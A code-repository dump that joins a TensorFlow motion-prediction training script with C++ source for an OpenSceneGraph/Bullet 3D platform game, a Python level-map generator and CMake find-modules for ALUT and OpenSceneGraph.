time_counter = 0., 0. print("Train [{:04d}] \t Loss: {:.5f} \t time/batch: {:.3f}".format(step, train_loss_avg, time_elapsed)) except tf.errors.OutOfRangeError: sess.run(train_iter.initializer) epoch += 1 if epoch >= ARGS.num_epochs: stop_signal = True break # COMMENT when running on Leonhard if ARGS.model_type == "zero_velocity": stop_signal = True break # if ARGS.use_cpu: # stop_signal = True # Evaluation: make a full pass on the validation split. valid_metrics, valid_time, _ = evaluate_model(valid_model, valid_iter, metrics_engine) # print an informative string to the console print("Valid [{:04d}] \t {} \t total_time: {:.3f}".format(step - 1, metrics_engine.get_summary_string(valid_metrics), valid_time)) eval_loss_ = metrics_engine.get_eval_loss(valid_metrics) # Write summaries to tensorboard. summary_feed = metrics_engine.get_summary_feed_dict(valid_metrics) summaries = sess.run(metrics_engine.all_summaries_op, feed_dict=summary_feed) valid_writer.add_summary(summaries, step) # Reset metrics and iterator. metrics_engine.reset() sess.run(valid_iter.initializer) # Save the model. You might want to think about if it's always a good idea to do that. if update_ckpt: if eval_loss_ < eval_loss: print("Saving the model to {}".format(experiment_dir)) if not train_model.config["model_type"] == "zero_velocity": saver.save(sess, os.path.normpath(os.path.join(experiment_dir, 'checkpoint')), global_step=step-1) eval_loss = eval_loss_ else: print('Eval loss was not improved during current epoch, not storing the model.') else: print("Saving the model to {}".format(experiment_dir)) if not train_model.config["model_type"] == "zero_velocity": saver.save(sess, os.path.normpath(os.path.join(experiment_dir, 'checkpoint')), global_step=step - 1) print("End of Training.") print("Evaluating validation set ...") if not train_model.config["model_type"] == "zero_velocity": load_latest_checkpoint(sess, saver, experiment_dir) valid_metrics, valid_time, _ = evaluate_model(valid_model, valid_iter, metrics_engine) print("Valid [{:04d}] \t {} \t total_time: {:.3f}".format(step - 1, metrics_engine.get_summary_string(valid_metrics), valid_time)) print("Training Finished.") if __name__ == "__main__": if ARGS.log: sys.stdout = open(LOG_FILE, "w") train() sys.stdout.close() <file_sep>import tensorflow as tf import functools import numpy as np import os import time import argparse parser = argparse.ArgumentParser() parser.add_argument('--read_dir', required=True, default='./data/', help='Where the tfrecords are stored.') ARGS = parser.parse_args() def read_tfrecords(tfrecords_path): """Read tfrecord file. Args: tfrecords_path: file path Returns: list of 2D numpy arrays (nr_frames, 45) """ def _parse_tf_example(proto): feature_to_type = { "file_id": tf.FixedLenFeature([], dtype=tf.string), "shape": tf.FixedLenFeature([2], dtype=tf.int64), "poses": tf.VarLenFeature(dtype=tf.float32), } parsed_features = tf.parse_single_example(proto, feature_to_type) parsed_features["poses"] = tf.reshape(tf.sparse.to_dense(parsed_features["poses"]), parsed_features["shape"]) return parsed_features tf_data = tf.data.TFRecordDataset.list_files(tfrecords_path) tf_data = tf_data.interleave(tf.data.TFRecordDataset, cycle_length=4, block_length=1) tf_data = tf_data.map(functools.partial(_parse_tf_example), 4) iterator = tf_data.make_one_shot_iterator() samples = [] for s in iterator: tmp = s["poses"].numpy() samples.append(tmp) print(tfrecords_path + " read.") return samples flatten = lambda l: [item for sublist in l for item in sublist] if __name__ == '__main__': tf.enable_eager_execution() data_path = ARGS.read_dir print(data_path) if not os.path.exists(data_path): raise ValueError("Specified path does not exist!") poses = [] for file in os.listdir(data_path): filename = os.fsdecode(file) if filename[0] != "s": # to exclude stats.npz files start = time.time() data_path_ = data_path + filename samples = read_tfrecords(data_path_) poses.append(samples) poses = flatten(poses) nr_samples = len(poses) poses = np.vstack(poses) means = poses.mean(axis=0) vars = poses.var(axis=0) mean_ = poses.mean() var_ = poses.var() min_ = poses.min() max_ = poses.max() # sanity check lens = [i.shape[0] for i in poses] min_lens = min(lens) max_lens = max(lens) stats = dict(mean_channel=means, mean_all=mean_, var_channel=vars, var_all=var_, min_all=min_, max_all=max_, min_seq_len=min_lens, max_seq_len=max_lens, num_samples=nr_samples) np.savez(data_path + 'stats', stats=stats)
bd22663904728109e66874c9b972ddeba76ce6c5
[ "Markdown", "Python" ]
14
Python
metodj/MP-Human-Motion-Prediction
281cbd8ddde136951eddf7a37931de3bbfaa7ae0
3b0236b58c1cdcf9c25657531ab104574f265f5b
refs/heads/master
<repo_name>shebbar93/react-table<file_sep>/frontEnd/src/screens/GroupsRT.js import React from "react"; import ReactTable from "../components/ReactTable"; const GroupsRT = ({ title }) => { return <ReactTable title={title} />; }; export default GroupsRT; <file_sep>/frontEnd/src/components/Header.js import React from "react"; import { Container, Nav, Navbar } from "react-bootstrap"; const Header = () => { return ( <header> <Navbar bg='dark' expand='lg' variant='dark' collapseOnSelect> <> <Navbar.Brand href='/'>Dashboard</Navbar.Brand> <Navbar.Toggle aria-controls='basic-navbar-nav' /> <Navbar.Collapse id='basic-navbar-nav'> <Nav className='ml-auto'> <Nav.Link href='/Contact'> <i className='fas fa-user px-1'></i> Contact </Nav.Link> </Nav> </Navbar.Collapse> </> </Navbar> </header> ); }; export default Header; <file_sep>/frontEnd/src/screens/ControlledTabs.js import React, { useState } from "react"; import { Tabs, Tab } from "react-bootstrap"; import MembersRT from "./MembersRT"; const ControlledTabs = () => { const [key, setKey] = useState("members"); return ( <Tabs id="controlled-tab-example" activeKey={key} onSelect={(k) => setKey(k)} className="mb-3" > <Tab eventKey="members" title="Members"> <MembersRT /> </Tab> <Tab eventKey="group_info" title="Group Info"> </Tab> </Tabs> ); }; export default ControlledTabs; <file_sep>/frontEnd/src/styles/TableHeader.js import React from "react"; import styled from "styled-components"; const TableHeader = ({ title }) => { const TableHeaderStyle = styled.div` position: relative; box-sizing: border-box; overflow: hidden; display: flex; flex: 1 1 auto; align-items: center; justify-content: space-between; width: 100%; flex-wrap: wrap; font-size: 22px; color: rgba(0, 0, 0, 0.87); background-color: #ffffff; min-height: 56px; // padding-left: 16px; padding-right: 80px; padding-top: 5px; padding-bottom:28px `; const Title = styled.div` flex: 1 0 auto; color: rgba(0, 0, 0, 0.87); font-size: 22px; font-weight: 400; `; return ( <TableHeaderStyle className="rdt_TableHeader" role="heading" aria-level={1}> <Title>{title}</Title> </TableHeaderStyle> ); }; export default TableHeader; <file_sep>/frontEnd/src/screens/MembersRT.js import React from "react"; import ReactTable from "../components/ReactTable"; const MembersRT = () => { return <ReactTable />; }; export default MembersRT; <file_sep>/frontEnd/src/styles/Select.js import React from "react"; import styled from "styled-components"; import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; import { faCaretDown } from "@fortawesome/free-solid-svg-icons"; const SelectControl = styled.select` cursor: pointer; height: 24px; max-width: 100%; user-select: none; padding-left: 8px; padding-right: 24px; box-sizing: content-box; font-size: inherit; color: inherit; border: none; background-color: transparent; appearance: none; direction: ltr; flex-shrink: 0; &::-ms-expand { display: none; } &:disabled::-ms-expand { background: #f60; } option { color: initial; } `; const SelectWrapper = styled.div` position: relative; flex-shrink: 0; font-size: inherit; color: inherit; margin-top: 1px; svg { top: 0; right: 0; color: inherit; position: absolute; fill: currentColor; width: 24px; height: 24px; display: inline-block; user-select: none; pointer-events: none; } `; const Select = ({ defaultValue, onChange, ...rest }) => { return ( <SelectWrapper> <SelectControl onChange={onChange} defaultValue={defaultValue} {...rest} /> <FontAwesomeIcon icon={faCaretDown} /> </SelectWrapper> ); }; export default Select; <file_sep>/frontEnd/src/screens/GroupsRTC.js import React from 'react' import ReactTableComponent from '../components/ReactTableComponent' const GroupsRTC = () => { return ( <ReactTableComponent/> ) } export default GroupsRTC <file_sep>/frontEnd/src/screens/Home.js import React from "react"; import { Row, Col } from "react-bootstrap"; import ControlledTabs from "./ControlledTabs"; import GroupsRT from "./GroupsRT"; import GroupsRTC from "./GroupsRTC"; import MembersRT from "./MembersRT"; import MembersRTC from "./MembersRTC"; const Home = () => { return ( <> <div className="py-3"> <Row> <Col md={6}> <GroupsRT title="Group Data"/> </Col> <Col md={6}> <ControlledTabs /> </Col> </Row> </div> {/* <div className="py-3"> <Row> <Col md={6}> <GroupsRTC /> </Col> <Col md={6}> <MembersRTC /> </Col> </Row> </div> */} </> ); }; export default Home; <file_sep>/frontEnd/src/components/ReactTableComponent.js import React from "react"; import DataTable from "react-data-table-component"; import movies from "../data/movies"; import "../styles/table.css"; const ReeactTableComponent = () => { const columns = [ { name: "Title", selector: "title", sortable: true, }, { name: "Directior", selector: "director", sortable: true, }, { name: "Runtime (m)", selector: "runtime", sortable: true, right: true, }, ]; return ( <div className="card table-wrapper"> <DataTable title="Movies" columns={columns} data={movies} defaultSortField="title" pagination dense /> </div> ); }; export default ReeactTableComponent;
ee4834fdb319c891f160213adc2f37632a637a2b
[ "JavaScript" ]
9
JavaScript
shebbar93/react-table
54d0a24564c03e6fcfee4ae6fe37f85be7556471
546eef953bc0ef11530d23769c84934a52dee66b
refs/heads/master
<file_sep>import React, { Component } from 'react'; import { Link } from 'react-router-dom'; class Sidebar extends Component { constructor(props) { super(props); this.state = { //showLoginPopup: false }; } render() { return ( <div className="slidebar"> <div className="logo"> <a href="#"></a> </div> <ul> <li><Link to="/invoice">dashboard</Link></li> <li><Link to="/invoice">Create New Invoice</Link></li> <li><Link to="/view-invoice">View Past Invoice</Link></li> <li><Link to="/invoice">Track Payment Dues</Link></li> <li><Link to="/invoice">Total Accounts Overview</Link></li> <li><Link to="/invoice">Record Expenses/Bils</Link></li> <li><Link to="/invoice">View Expenses/Bils</Link></li> <li><Link to="/invoice">Send Suggesions</Link></li> </ul> </div> ); } } export default Sidebar;<file_sep>import React, { Component } from 'react'; import { Link} from 'react-router-dom'; //import { browserHistory } from 'react-router'; class Invoice extends Component { constructor(props) { super(props); //this.navigateRoute = this.navigateRoute.bind(this); // this.state = { // }; } // navigateRoute(){ // browserHistory.push("/create"); // } render() { return ( <div className="quick-press"> <h4>Create Invoice</h4> {/*<div onClick={this.navigateRoute}>Add/Edit your client details</div>*/} <div className="_p15 border_style"> <div className="row"> <div className="col-md-3"><Link to="/create">Add/Edit your client details</Link></div> <div className="col-md-6 text-center"><Link to="/create">Add/Edit your client details</Link></div> <div className="col-md-3"><Link to="/add/photo">Add/Edit DATE/PHOTO/LOGO</Link></div> </div> <div className="row"> <div className="col-md-12"><Link to="/create">Add/Edit your client details</Link></div> </div> <div className="row"> <div className="col-md-12"><Link to="/create">Add/Edit your client details</Link></div> </div> <div className="row"> <div className="col-md-12"><Link to="/create">Add/Edit your client details</Link></div> </div> </div> <div class="_p15"> <div className="row"> <div className="col-md-3"><Link to="/create">Add/Edit your client details</Link></div> <div className="col-md-6 text-center"><Link to="/create">Add/Edit your client details</Link></div> <div className="col-md-3"><Link to="/add/photo">Add/Edit DATE/PHOTO/LOGO</Link></div> </div> </div> </div> ); } } export default Invoice;<file_sep>import React, { Component } from 'react'; import { apiUrl, restId } from '../config/constants'; import axios from 'axios'; // export function getRestaurantDetails() { // return axios.get(apiUrl + 'details/' + restId) // .then(res => { // return res; // }); // } export function saveCustomerDetails(data) { return axios.post('http://yiiapi-local.com/clientdetails/create',data) .then(response => { return response; }); } <file_sep>import React, { Component } from 'react'; import axios from 'axios'; class customerDetailForm extends Component { constructor(props) { super(props); this.handleChange = this.handleChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.state = { customerForm: { name: '', address: '', phone: '', email: '', website: '', pan_no: '', gst_no: '' } }; } handleChange(event) { this.state.customerForm[event.target.name] = event.target.value; this.setState({ customerForm: this.state.customerForm }); } handleSubmit() { alert('submit'); console.log(this.state.customerForm); axios.get('http://yiiapi-local.com/clientdetails') .then(function(response){ console.log('saved successfully') }); // axios({ // method: 'post', // url: 'http://yiiapi-local.com/clientdetails/create', // data: { // firstName: 'Fred', // lastName: 'Flintstone' // }, // crossDomain: true // }); } render() { return ( <div class="quick-press"> <h4>Customer Detail Form</h4> <input type="text" name="name" placeholder="Name" value={this.state.customerForm.name} onChange={this.handleChange} /> <input type="text" name="address" placeholder="Address" value={this.state.customerForm.address} onChange={this.handleChange} /> <input type="text" name="phone" placeholder="Phone" value={this.state.customerForm.phone} onChange={this.handleChange} /> <input type="text" name="email" placeholder="Email" value={this.state.customerForm.email} onChange={this.handleChange} /> <input type="text" name="website" placeholder="Website" value={this.state.customerForm.website} onChange={this.handleChange} /> <input type="text" name="pan_no" placeholder="Pan No" value={this.state.customerForm.pan_no} onChange={this.handleChange} /> <input type="text" name="gst_no" placeholder="Gst No" value={this.state.customerForm.gst_no} onChange={this.handleChange} /> <input type="submit" class="submit" name="Save" value="Save" onClick={this.handleSubmit}/> </div> ); } } export default customerDetailForm;<file_sep>import React from 'react' import { Switch, Route } from 'react-router-dom' import Invoice from './components/invoice/Invoice'; import customerDetailForm from './components/invoice/customer-detail-form'; import addLogoForm from './components/invoice/add-logo-form'; // The Main component renders one of the three provided // Routes (provided that one matches). Both the /roster // and /schedule routes will match any pathname that starts // with /roster or /schedule. The / route will only match // when the pathname is exactly the string "/" const Main = () => ( <main> <Switch> <Route path='/invoice' component={Invoice}/> <Route path='/create' component={customerDetailForm}/> <Route path='/add/photo' component={addLogoForm}/> </Switch> </main> ) export default Main
4e46cc454a32ea222b2de2f4cb242cdbce168b4d
[ "JavaScript" ]
5
JavaScript
manojmca2008/reactApp
f30d5aa4cd347759d99fbfb4f72af0cf67b81880
fc8c9e437844e86b0833e644f2b3a440994e9d93
refs/heads/master
<file_sep>#include "LevelKeyboardHandler.h" LevelKeyboardHandler::LevelKeyboardHandler() { } bool LevelKeyboardHandler::handle(const osgGA::GUIEventAdapter &ea, osgGA::GUIActionAdapter &aa) { bool keyState; // check if key is pressed or released switch(ea.getEventType()) { case osgGA::GUIEventAdapter::KEYDOWN: keyState = K_PRESSED; break; case osgGA::GUIEventAdapter::KEYUP: keyState = K_RELEASED; break; default: return false; } // find out which key was pressed switch(ea.getKey()) { case K_LEFT: Player::getInstance()->getPlayerState()->setRequestMoveLeft(keyState); break; case K_RIGHT: Player::getInstance()->getPlayerState()->setRequestMoveRight(keyState); break; case K_UP: Player::getInstance()->getPlayerState()->setRequestAccelerate(keyState); break; case K_DOWN: Player::getInstance()->getPlayerState()->setRequestDecelerate(keyState); break; case K_JUMP: Player::getInstance()->getPlayerState()->setRequestJump(keyState); break; default: return false; } return true; } void LevelKeyboardHandler::accept(osgGA::GUIEventHandlerVisitor &v) { v.visit(*this); }<file_sep>import random import sys num = int(sys.argv[1]) print "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" print "<map>" x, y, z = 0, 0, 0 types = ["accelerate", "decelerate", ""] jump_x_range = [-7, 7] jump_y_range = [0, 30] jump_z_range = [-3, 3] for i in range(1, num): length = random.randint(20, 100) height = random.randint(3, 100) / 10.0 width = random.randint(2, 5) red = random.randint(0, 255) / 255.0 blue = random.randint(0, 255) / 255.0 green = random.randint(0, 255) / 255.0 z = z - height print "<cuboid type=\"%s\">" % (types[random.randint(0,2)],) print "\t<position x=\"%f\" y=\"%d\" z=\"%d\" />" % (x - (width / 2.0), y, z) print "\t<size x=\"%d\" y=\"%d\" z=\"%f\" />" % (width, length, height) print "\t<color x=\"%f\" y=\"%f\" z=\"%f\" />" % (red, blue, green) print "</cuboid>" if i==num-1: print "<finish>" print "\t<position x=\"%f\" y=\"%d\" z=\"%d\" />" % (x, y + length - 15, z + height) print "</finish>" x += random.randint(jump_x_range[0], jump_x_range[1]) y += 30 + random.randint(jump_y_range[0], jump_y_range[1]) z += height + random.randint(jump_z_range[0], jump_z_range[1]) print "</map>" <file_sep># Locate ALUT # This module defines # ALUT_LIBRARY # ALUT_FOUND, if false, do not try to link to ALUT # ALUT_INCLUDE_DIR, where to find the headers # # $ALUTDIR is an environment variable that would # correspond to the ./configure --prefix=$ALUTDIR # used in building ALUT. # # Created by Sukender (<NAME>). Based on FindOpenAL.cmake module. FIND_PATH(ALUT_INCLUDE_DIR alut.h HINTS $ENV{ALUTDIR} $ENV{ALUT_PATH} PATH_SUFFIXES include/AL include PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw # Fink /opt/local # DarwinPorts /opt/csw # Blastwave /opt ) FIND_LIBRARY(ALUT_LIBRARY alut HINTS $ENV{ALUTDIR} $ENV{ALUT_PATH} PATH_SUFFIXES lib64 lib libs64 libs libs/Win32 libs/Win64 PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt ) FIND_LIBRARY(ALUT_LIBRARY_DEBUG alutd HINTS $ENV{ALUTDIR} $ENV{ALUT_PATH} PATH_SUFFIXES lib64 lib libs64 libs libs/Win32 libs/Win64 PATHS ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt ) SET(ALUT_FOUND "NO") IF(ALUT_LIBRARY AND ALUT_INCLUDE_DIR) SET(ALUT_FOUND "YES") ENDIF(ALUT_LIBRARY AND ALUT_INCLUDE_DIR) <file_sep>#pragma once #include <osg/Group> #include <btBulletDynamicsCommon.h> class PlayerState { private: float _speed; float _angleX; float _angleY; int _directionX; btVector3 _direction; bool _requestMoveLeft; bool _requestMoveRight; bool _requestAccelerate; bool _requestDecelerate; bool _requestJump; bool _dead; public: PlayerState(); void reset(); float getSpeed() const; void setSpeed(const float speed); float getAngleX() const; void setAngleX(const float angle); float getAngleY() const; void setAngleY(const float angle); int getDirectionX() const; void setDirectionX(const int directionX); btVector3 &getDirection(); void setDirection(btVector3 &direction); void setRequestMoveLeft(const bool activate); void setRequestMoveRight(const bool activate); void setRequestAccelerate(const bool activate); void setRequestDecelerate(const bool activate); void setRequestJump(const bool activate); bool requestMoveLeft() const; bool requestMoveRight() const; bool requestAccelerate() const; bool requestDecelerate() const; bool requestJump() const; void beDead(); void beAlive(); bool isDead() const; };<file_sep>#include "Sky.h" extern osgViewer::Viewer viewer; Sky::Sky() { _skyPat = new osg::PositionAttitudeTransform(); _skyPat->getOrCreateStateSet()->setMode(GL_LIGHTING, osg::StateAttribute::OFF); initializeCamera(); osg::Geode* geode = new osg::Geode(); osg::Geometry *geometry = new osg::Geometry(); geode->addDrawable(geometry); osg::Vec3Array *vertices = new osg::Vec3Array; int screenWidth = viewer.getCamera()->getViewport()->width(); int screenHeight = viewer.getCamera()->getViewport()->height(); vertices->push_back( osg::Vec3(0, 0, 0) ); vertices->push_back( osg::Vec3(0, screenHeight, 0) ); vertices->push_back( osg::Vec3(screenWidth, screenHeight, 0) ); vertices->push_back( osg::Vec3(screenWidth, 0, 0) ); geometry->setVertexArray(vertices); osg::DrawElementsUInt *rectangle = new osg::DrawElementsUInt(osg::PrimitiveSet::QUADS, 0); rectangle->push_back(0); rectangle->push_back(1); rectangle->push_back(2); rectangle->push_back(3); geometry->addPrimitiveSet(rectangle); osg::Vec2Array* texcoords = new osg::Vec2Array(4); (*texcoords)[0].set(0.0f, 0.0f); (*texcoords)[1].set(0.0f, 1.0f); (*texcoords)[2].set(1.0f, 1.0f); (*texcoords)[3].set(1.0f, 0.0f); geometry->setTexCoordArray(0, texcoords); osg::Texture2D *texture = new osg::Texture2D; texture->setDataVariance(osg::Object::DYNAMIC); osg::Image *image = osgDB::readImageFile(BACKGROUND_IMAGE); if (!image) { std::cout << " couldn't find texture, quiting." << std::endl; exit(0); } // assign image to texture texture->setImage(image); osg::StateSet* stateOne = new osg::StateSet(); stateOne->setTextureAttributeAndModes(0, texture,osg::StateAttribute::ON); geode->setStateSet(stateOne); _skyPat->addChild(geode); } void Sky::initializeCamera() { _camera = new osg::Camera(); _camera->setProjectionMatrix(osg::Matrix::ortho2D(0, viewer.getCamera()->getViewport()->width(), 0, viewer.getCamera()->getViewport()->height())); _camera->setReferenceFrame(osg::Transform::ABSOLUTE_RF); _camera->setViewMatrix(osg::Matrix::identity()); _camera->setClearColor(osg::Vec4(0.0f, 0.0f, 0.0f, 1.0f)); _camera->setClearMask(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); _camera->setRenderOrder(osg::Camera::PRE_RENDER); _camera->addChild(_skyPat); } osg::Camera *Sky::getCamera() { return _camera; } <file_sep>#pragma once #include <iostream> #include <algorithm> #include <osg/Group> #include <osg/Node> #include <osg/NodeCallback> #include <osg/PositionAttitudeTransform> #include <osgViewer/Viewer> #include <btBulletDynamicsCommon.h> #include <BulletCollision/CollisionDispatch/btGhostObject.h> #include <osgbBullet/Utils.h> #include "Player.h" #include "CollisionObject.h" #include "LazyCameraManipulator.h" #include "Sound.h" #define min(a,b) (((a) < (b)) ? (a) : (b)) class PlayerUpdater : public osg::NodeCallback { public: PlayerUpdater(); virtual void operator()(osg::Node* node, osg::NodeVisitor* nv); osg::Vec3 calculateNextPosition(); }; <file_sep>#include "MenuKeyboardHandler.h" extern osgViewer::Viewer viewer; MenuKeyboardHandler::MenuKeyboardHandler(LevelMenu *levelMenu) : _levelMenu(levelMenu) { } bool MenuKeyboardHandler::handle(const osgGA::GUIEventAdapter &ea, osgGA::GUIActionAdapter &aa) { // check if key is pressed or released switch(ea.getEventType()) { case osgGA::GUIEventAdapter::KEYDOWN: switch(ea.getKey()) { case K_UP: if(!_levelMenu->levelRunning()) _levelMenu->selectPreviousItem(); break; case K_DOWN: if(!_levelMenu->levelRunning()) _levelMenu->selectNextItem(); break; case K_RETURN: if(!_levelMenu->levelRunning()) _levelMenu->runSelectedLevel(); break; case K_EXIT: if(_levelMenu->levelRunning()) _levelMenu->returnFromLevel(); else { Sound::getInstance()->stopAll(); _levelMenu->writeBackLevelFile(); exit(0); } default: return false; } break; default: return false; } return true; } void MenuKeyboardHandler::accept(osgGA::GUIEventHandlerVisitor &v) { v.visit(*this); }<file_sep>#pragma once #include <map> #include <string> #include <AL/al.h> #include <AL/alc.h> #include <AL/alure.h> #define LEVEL_MUSIC_FILE "resources/sound/andromeda.wav" #define MENU_MUSIC_FILE "resources/sound/48000_2chan.wav" #define JUMP_SOUND "resources/sound/boing.wav" class Sound { private: static Sound *_instance; std::map<std::string, ALuint> _sounds; Sound(); public: ~Sound(); static Sound *getInstance(); void loadFromFile(std::string filename); void playSound(std::string key); void playInLoop(std::string key); void stop(std::string key); void stopAll(); }; <file_sep>#include "Player.h" #include "PlayerUpdater.h" osg::ref_ptr<Player> Player::_instance = NULL; Player::Player() : _playerState(new PlayerState()) { loadPlayerModel(); setScale(PLAYER_SCALE); setAttitude(PLAYER_ATTITUDE); initializePhysics(); initializePlayerEffects(); resetPosition(); setNodeMask(CAST_SHADOW_MASK); } Player *Player::getInstance() { if (!_instance) _instance = new Player(); return _instance; } void Player::reset() { _instance->getPlayerState()->reset(); _instance->getController()->reset(); _instance->resetPosition(); } void Player::loadPlayerModel() { osg::ref_ptr<osg::Node> playerModel = osgDB::readNodeFile(PLAYER_MODEL); if(!playerModel) throw std::runtime_error("Unable to load player model file!"); addChild(playerModel); } void Player::initializePhysics() { _playerGhostObject = new btPairCachingGhostObject; // use a btBoxShape as collision shape for the player btBoxShape *boundingBox = new btBoxShape(PLAYER_BBOX_EXTENTS); _playerGhostObject->setCollisionShape(boundingBox); _playerGhostObject->setCollisionFlags(btCollisionObject::CF_CHARACTER_OBJECT); btTransform playerTransform; playerTransform.setIdentity(); playerTransform.setOrigin(osgbBullet::asBtVector3(PLAYER_HOME_POSITION)); _playerGhostObject->setWorldTransform(playerTransform); _playerController = new KinematicCharacterController(_playerGhostObject, boundingBox, btScalar(0.1), 2); _playerController->setFallSpeed(0.1); } void Player::initializePlayerEffects() { _mainEngine = ParticleEffectFactory::createRearEngineEffect(); _leftEngine = ParticleEffectFactory::createRearEngineEffect(); _rightEngine = ParticleEffectFactory::createRearEngineEffect(); // position the particle effect emitters _mainEngine->setScale(PLAYER_SCALE); _mainEngine->setPosition(osg::Vec3(0.0, 6.5, 1.4)); _mainEngine->setAttitude(osg::Quat( osg::DegreesToRadians(90.0), osg::Vec3(1.0, 0.0, 0.0) )); _leftEngine->setScale(PLAYER_SCALE); _leftEngine->setPosition(osg::Vec3(-1.8, 6.0, 0.9)); _leftEngine->setAttitude(osg::Quat( osg::DegreesToRadians(90.0), osg::Vec3(1.0, 0.0, 0.0) )); _rightEngine->setScale(PLAYER_SCALE); _rightEngine->setPosition(osg::Vec3(1.8, 6.0, 0.9)); _rightEngine->setAttitude(osg::Quat( osg::DegreesToRadians(90.0), osg::Vec3(1.0, 0.0, 0.0) )); addChild(_mainEngine); addChild(_leftEngine); addChild(_rightEngine); // add the other components to the scene _particleEffects = new osg::Group; _particleEffects->addChild(_mainEngine->getEffectRoot()); _particleEffects->addChild(_leftEngine->getEffectRoot()); _particleEffects->addChild(_rightEngine->getEffectRoot()); } void Player::setEngines(const float speed, bool accelerating) { _mainEngine->setRate(250 * speed); _leftEngine->setRate(250 * speed); _rightEngine->setRate(250 * speed); if(accelerating) { _mainEngine->setColor(osg::Vec4(1.0f, 0.7f, 0.1f, 0.8f)); _leftEngine->setColor(osg::Vec4(1.0f, 0.7f, 0.1f, 0.9f)); _rightEngine->setColor(osg::Vec4(1.0f, 0.7f, 0.1f, 0.8f)); } else { _mainEngine->setColor(osg::Vec4(0.0f, 0.7f, 1.0f, 0.5f)); _leftEngine->setColor(osg::Vec4(0.0f, 0.7f, 1.0f, 0.4f)); _rightEngine->setColor(osg::Vec4(0.0f, 0.7f, 1.0f, 0.4f)); } _mainEngine->setSize(0.1f * speed); _leftEngine->setSize(0.1f * speed); _rightEngine->setSize(0.1f * speed); } void Player::resetPosition() { setPosition(PLAYER_HOME_POSITION); btTransform playerTransform; playerTransform.setIdentity(); playerTransform.setOrigin(btVector3(0.0, 10.0, 5.0)); _playerGhostObject->setWorldTransform(playerTransform); _mainEngine->clearParticles(); _leftEngine->clearParticles(); _rightEngine->clearParticles(); } void Player::setAngles(const float angleX, const float angleY, const float angleZ) { setAttitude(osg::Quat( osg::DegreesToRadians(angleX), osg::Vec3(1.0,0.0,0.0), osg::DegreesToRadians(angleY), osg::Vec3(0.0,1.0,0.0), osg::DegreesToRadians(angleZ), osg::Vec3(0.0,0.0,1.0))); } <file_sep># Locate OpenSceneGraph. # # This script defines: # OSG_FOUND, set to 1 if found # OSG_LIBRARIES # OSG_INCLUDE_DIR # OSG_GEN_INCLUDE_DIR, OSG's CMake-generated "Config" header files directory. # OSG_INCLUDE_DIRS, both OSG_INCLUDE_DIR and OSG_GEN_INCLUDE_DIR together. # OSG*_LIBRARY, one for each library. # OSG*_LIBRARY_debug, one for each library. # OSG_LIBRARIES_DIR, path to the OSG libraries. # # This script will look in standard locations for installed OSG. However, if you # install OSG into a non-standard location, you can use the OSG_ROOT # variable (in environment or CMake) to specify the location. # # You can also use OSG out of a source tree by specifying OSG_SOURCE_DIR # and OSG_BUILD_DIR (in environment or CMake). SET( OSG_BUILD_DIR "" CACHE PATH "If using OSG out of a source tree, specify the build directory." ) SET( OSG_SOURCE_DIR "" CACHE PATH "If using OSG out of a source tree, specify the root of the source tree." ) SET( OSG_ROOT "" CACHE PATH "Specify non-standard OSG install directory. It is the parent of the include and lib dirs." ) MACRO( FIND_OSG_INCLUDE THIS_OSG_INCLUDE_DIR THIS_OSG_INCLUDE_FILE ) UNSET( ${THIS_OSG_INCLUDE_DIR} CACHE ) MARK_AS_ADVANCED( ${THIS_OSG_INCLUDE_DIR} ) FIND_PATH( ${THIS_OSG_INCLUDE_DIR} ${THIS_OSG_INCLUDE_FILE} PATHS ${OSG_ROOT} $ENV{OSG_ROOT} ${OSG_SOURCE_DIR} $ENV{OSG_SOURCE_DIR} /usr/local /usr /sw # Fink /opt/local # DarwinPorts /opt/csw # Blastwave /opt "C:/Program Files/OpenSceneGraph" "C:/Program Files (x86)/OpenSceneGraph" ~/Library/Frameworks /Library/Frameworks PATH_SUFFIXES include ) ENDMACRO( FIND_OSG_INCLUDE THIS_OSG_INCLUDE_DIR THIS_OSG_INCLUDE_FILE ) FIND_OSG_INCLUDE( OSG_INCLUDE_DIR osg/PositionAttitudeTransform ) FIND_OSG_INCLUDE( OSG_GEN_INCLUDE_DIR osg/Config ) MACRO(FIND_OSG_LIBRARY MYLIBRARY MYLIBRARYNAME) UNSET( ${MYLIBRARY} CACHE ) UNSET( ${MYLIBRARY}_debug CACHE ) MARK_AS_ADVANCED( ${MYLIBRARY} ) MARK_AS_ADVANCED( ${MYLIBRARY}_debug ) FIND_LIBRARY( ${MYLIBRARY} NAMES ${MYLIBRARYNAME} PATHS ${OSG_ROOT} $ENV{OSG_ROOT} ${OSG_BUILD_DIR} $ENV{OSG_BUILD_DIR} ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt "C:/Program Files/OpenSceneGraph" "C:/Program Files (x86)/OpenSceneGraph" /usr/freeware/lib64 PATH_SUFFIXES lib . ) FIND_LIBRARY( ${MYLIBRARY}_debug NAMES ${MYLIBRARYNAME}d PATHS ${OSG_ROOT} $ENV{OSG_ROOT} ${OSG_BUILD_DIR} $ENV{OSG_BUILD_DIR} ~/Library/Frameworks /Library/Frameworks /usr/local /usr /sw /opt/local /opt/csw /opt "C:/Program Files/OpenSceneGraph" "C:/Program Files (x86)/OpenSceneGraph" /usr/freeware/lib64 PATH_SUFFIXES lib . ) # message( STATUS ${${MYLIBRARY}} ${${MYLIBRARY}_debug} ) # message( SEND_ERROR ${MYLIBRARYNAME} ) IF( ${MYLIBRARY} ) SET( OSG_LIBRARIES ${OSG_LIBRARIES} "optimized" ${${MYLIBRARY}} ) ENDIF( ${MYLIBRARY} ) IF( ${MYLIBRARY}_debug ) SET( OSG_LIBRARIES ${OSG_LIBRARIES} "debug" ${${MYLIBRARY}_debug} ) ENDIF( ${MYLIBRARY}_debug ) ENDMACRO(FIND_OSG_LIBRARY LIBRARY LIBRARYNAME) # FIND_OSG_LIBRARY(OSGTERRAIN_LIBRARY osgTerrain) # FIND_OSG_LIBRARY(OSGFX_LIBRARY osgFX) FIND_OSG_LIBRARY(OSGSIM_LIBRARY osgSim) FIND_OSG_LIBRARY(OSGTEXT_LIBRARY osgText) 